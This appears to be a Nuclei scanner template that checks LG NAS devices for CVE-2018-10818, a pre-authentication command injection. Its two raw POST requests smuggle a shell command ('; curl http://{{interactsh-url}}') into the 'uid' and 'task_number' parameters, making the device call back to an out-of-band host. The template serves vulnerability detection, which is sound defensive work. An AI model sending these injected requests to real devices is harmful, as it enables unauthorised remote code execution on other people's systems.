id: CVE-2018-10818

info:
  name: LG NAS Devices - Remote Code Execution
  author: gy741
  severity: critical
  description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter.
  remediation: |
    Apply the latest firmware update provided by LG to mitigate this vulnerability.
  reference:
    - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
    - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818
  classification:
    cve-id: CVE-2018-10818
  metadata:
    max-request: 2
  tags: cve,cve2018,lg-nas,rce,oast,injection
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /system/sharedir.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        &uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
      - |
        POST /en/php/usb_sync.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        &act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

# digest: 4a0a00473045022100ccb2d026c1bdc3df10c2c02d7bc19b1059c4e40e9ba5b5dcd07f77a4900f0e1502203ebc6f5387949a63d6f6166a279ef005ec5bec4c4caaf3df125ce8265eb44bc5:922c64590222798bb761d5b6d8e72950